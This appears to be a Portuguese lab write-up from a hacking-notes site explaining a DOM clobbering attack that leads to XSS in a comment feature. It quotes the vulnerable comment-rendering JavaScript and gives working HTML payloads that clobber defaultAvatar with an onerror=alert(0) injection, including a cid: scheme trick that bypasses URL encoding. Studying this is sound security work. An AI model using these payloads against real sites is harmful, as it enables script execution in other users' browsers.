> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/dom/dom-clobbering-xss.md).

# XSS por DOM Clobbering

### Explorando DOM Clobbering para habilitar XSS

Explorar uma vulnerabilidade de DOM clobbering. A funcionalidade de comentários permite HTML "seguro". O objetivo é injetar um fragmento HTML que sobrescreva uma variável do DOM (clobbering) e encadear a execução de um XSS (`alert()`).

<figure><img src="/files/55f5c524975953acddc7daca740bf4605c43f4a2" alt=""><figcaption></figcaption></figure>

A área de comentários aceita HTML e alguns elementos são retornados (por exemplo, um `<h1>` interpretador).

<figure><img src="/files/f30cf5896f9f35c05e62b90c2a9d81644ed31402" alt="" width="539"><figcaption></figcaption></figure>

* O script no lado do cliente carrega e exibe os comentários recuperados em JSON. Ele usa `DOMPurify.sanitize()` para limpar `author` e `corpo` campos, mas outras manipulações do DOM permanecem vulneráveis a clobbering.

```javascript
function loadComments(postCommentPath) {
    let xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            let comments = JSON.parse(this.responseText);
            displayComments(comments);
        }
    };
    xhr.open("GET", postCommentPath + window.location.search);
    xhr.send();

    function escapeHTML(data) {
        return data.replace(/[<>'\"]/g, function(c){
            return '&#' + c.charCodeAt(0) + ';';
        })
    }

    function displayComments(comments) {
        let userComments = document.getElementById("user-comments");

        for (let i = 0; i < comments.length; ++i)
        {
            comment = comments[i];
            let commentSection = document.createElement("section");
            commentSection.setAttribute("class", "comment");

            let firstPElement = document.createElement("p");

            let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
            let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';

            let divImgContainer = document.createElement("div");
            divImgContainer.innerHTML = avatarImgHTML

            if (comment.author) {
                if (comment.website) {
                    let websiteElement = document.createElement("a");
                    websiteElement.setAttribute("id", "author");
                    websiteElement.setAttribute("href", comment.website);
                    firstPElement.appendChild(websiteElement)
                }

                let newInnerHtml = firstPElement.innerHTML + DOMPurify.sanitize(comment.author)
                firstPElement.innerHTML = newInnerHtml
            }

            if (comment.date) {
                let dateObj = new Date(comment.date)
                let month = '' + (dateObj.getMonth() + 1);
                let day = '' + dateObj.getDate();
                let year = dateObj.getFullYear();

                if (month.length < 2)
                    month = '0' + month;
                if (day.length < 2)
                    day = '0' + day;

                dateStr = [day, month, year].join('-');

                let newInnerHtml = firstPElement.innerHTML + " | " + dateStr
                firstPElement.innerHTML = newInnerHtml
            }

            firstPElement.appendChild(divImgContainer);

            commentSection.appendChild(firstPElement);

            if (comment.body) {
                let commentBodyPElement = document.createElement("p");
                commentBodyPElement.innerHTML = DOMPurify.sanitize(comment.body);

                commentSection.appendChild(commentBodyPElement);
            }
            commentSection.appendChild(document.createElement("p"));

            userComments.appendChild(commentSection);
        }
    }
};
```

* O código cria um `defaultAvatar` objeto ao ler `window.defaultAvatar` se estiver presente; `defaultAvatar` pode, portanto, ser sobrescrita por meio de um elemento do DOM com um `defaultAvatar` identificador (clobbering).
* Como o `src` atributo do `<img>` é construído a partir de `defaultAvatar.avatar` quando `comment.avatar` está ausente, é possível forçar um `defaultAvatar` controlado pelo atacante a influenciar o valor inserido.
* A inserção é feita por `divImgContainer.innerHTML = avatarImgHTML`, o que aciona a interpretação da string HTML construída.

{% code overflow="wrap" %}

```javascript
let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';
```

{% endcode %}

Tente forçar `defaultAvatar` por meio de uma `<a id=defaultAvatar>` elemento contendo um atributo com probabilidade de causar um erro no lado do cliente (por exemplo, `onerror=alert(0)`).

```html
<a id=defaultAvatar>
<a id=defaultAvatar name=avatar href="0&quot;onerror=alert(0)>//">
```

Isto é codificado em URL pelo sistema

<figure><img src="/files/f375266142b6f5422479032be6746a0fa3959d0e" alt="" width="480"><figcaption></figcaption></figure>

<figure><img src="/files/857c61bfd9267283836164f9543c440dee5a1039" alt=""><figcaption></figcaption></figure>

Contorno testado usando um `cid:` esquema para que o valor não seja codificado:

```javascript
<a id=defaultAvatar>
<a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(0)>//">
```

o último é interpretado

<figure><img src="/files/bc2c108bd649d2162f1ffad2c6fedcb6104a83d7" alt="" width="443"><figcaption></figcaption></figure>

<figure><img src="/files/51bb910a93b04fed3b41f3e83ab683bd0d1bdc93" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/dom/dom-clobbering-xss.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
